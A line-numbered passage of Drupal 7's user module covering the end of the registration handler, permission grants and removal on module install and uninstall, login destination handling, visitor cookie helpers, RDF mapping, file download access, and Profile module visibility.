3939 _user_mail_notify('register_no_approval_required', $account);
3940 $form_state['uid'] = $account->uid;
3941 user_login_submit(array(), $form_state);
3942 drupal_set_message(t('Registration successful. You are now logged in.'));
3943 $form_state['redirect'] = '';
3944 }
3945 // No administrator approval required.
3946 elseif ($account->status || $notify) {
3947 $op = $notify ? 'register_admin_created' : 'register_no_approval_required';
3948 _user_mail_notify($op, $account);
3949 if ($notify) {
3950 drupal_set_message(t('A welcome message with further instructions has been e-mailed to the new user <a href="@url">%name</a>.', array('@url' => url($uri['path'], $uri['options']), '%name' => $account->name)));
3951 }
3952 else {
3953 drupal_set_message(t('A welcome message with further instructions has been sent to your e-mail address.'));
3954 $form_state['redirect'] = '';
3955 }
3956 }
3957 // Administrator approval required.
3958 else {
3959 _user_mail_notify('register_pending_approval', $account);
3960 drupal_set_message(t('Thank you for applying for an account. Your account is currently pending approval by the site administrator.<br />In the meantime, a welcome message with further instructions has been sent to your e-mail address.'));
3961 $form_state['redirect'] = '';
3962 }
3963}
3964
3965/**
3966 * Implements hook_modules_installed().
3967 */
3968function user_modules_installed($modules) {
3969 // Assign all available permissions to the administrator role.
3970 $rid = variable_get('user_admin_role', 0);
3971 if ($rid) {
3972 $permissions = array();
3973 foreach ($modules as $module) {
3974 if ($module_permissions = module_invoke($module, 'permission')) {
3975 $permissions = array_merge($permissions, array_keys($module_permissions));
3976 }
3977 }
3978 if (!empty($permissions)) {
3979 user_role_grant_permissions($rid, $permissions);
3980 }
3981 }
3982}
3983
3984/**
3985 * Implements hook_modules_uninstalled().
3986 */
3987function user_modules_uninstalled($modules) {
3988 db_delete('role_permission')
3989 ->condition('module', $modules, 'IN')
3990 ->execute();
3991}
3992
3993/**
3994 * Helper function to rewrite the destination to avoid redirecting to login page after login.
3995 *
3996 * Third-party authentication modules may use this function to determine the
3997 * proper destination after a user has been properly logged in.
3998 */
3999function user_login_destination() {
4000 $destination = drupal_get_destination();
4001 if ($destination['destination'] == 'user/login') {
4002 $destination['destination'] = 'user';
4003 }
4004 return $destination;
4005}
4006
4007/**
4008 * Saves visitor information as a cookie so it can be reused.
4009 *
4010 * @param $values
4011 * An array of key/value pairs to be saved into a cookie.
4012 */
4013function user_cookie_save(array $values) {
4014 foreach ($values as $field => $value) {
4015 // Set cookie for 365 days.
4016 setrawcookie('Drupal.visitor.' . $field, rawurlencode($value), REQUEST_TIME + 31536000, '/');
4017 }
4018}
4019
4020/**
4021 * Delete a visitor information cookie.
4022 *
4023 * @param $cookie_name
4024 * A cookie name such as 'homepage'.
4025 */
4026function user_cookie_delete($cookie_name) {
4027 setrawcookie('Drupal.visitor.' . $cookie_name, '', REQUEST_TIME - 3600, '/');
4028}
4029
4030/**
4031 * Implements hook_rdf_mapping().
4032 */
4033function user_rdf_mapping() {
4034 return array(
4035 array(
4036 'type' => 'user',
4037 'bundle' => RDF_DEFAULT_BUNDLE,
4038 'mapping' => array(
4039 'rdftype' => array('sioc:UserAccount'),
4040 'name' => array(
4041 'predicates' => array('foaf:name'),
4042 ),
4043 'homepage' => array(
4044 'predicates' => array('foaf:page'),
4045 'type' => 'rel',
4046 ),
4047 ),
4048 ),
4049 );
4050}
4051
4052/**
4053 * Implements hook_file_download_access().
4054 */
4055function user_file_download_access($field, $entity_type, $entity) {
4056 if ($entity_type == 'user') {
4057 return user_view_access($entity);
4058 }
4059}
4060
4061/**
4062 * Implements hook_system_info_alter().
4063 *
4064 * Drupal 7 ships with two methods to add additional fields to users: Profile
4065 * module, a legacy module dating back from 2002, and Field API integration
4066 * with users. While Field API support for users currently provides less end
4067 * user features, the inefficient data storage mechanism of Profile module, as
4068 * well as its lack of consistency with the rest of the entity / field based
4069 * systems in Drupal 7, make this a sub-optimal solution to those who were not
4070 * using it in previous releases of Drupal.
4071 *
4072 * To prevent new Drupal 7 sites from installing Profile module, and
4073 * unwittingly ending up with two completely different and incompatible methods
4074 * of extending users, only make the Profile module available if the profile_*
4075 * tables are present.
4076 *
4077 * @todo: Remove in D8, pending upgrade path.
4078 */
4079function user_system_info_alter(&$info, $file, $type) {
4080 if ($type == 'module' && $file->name == 'profile' && db_table_exists('profile_field')) {
4081 $info['hidden'] = FALSE;
4082 }
4083}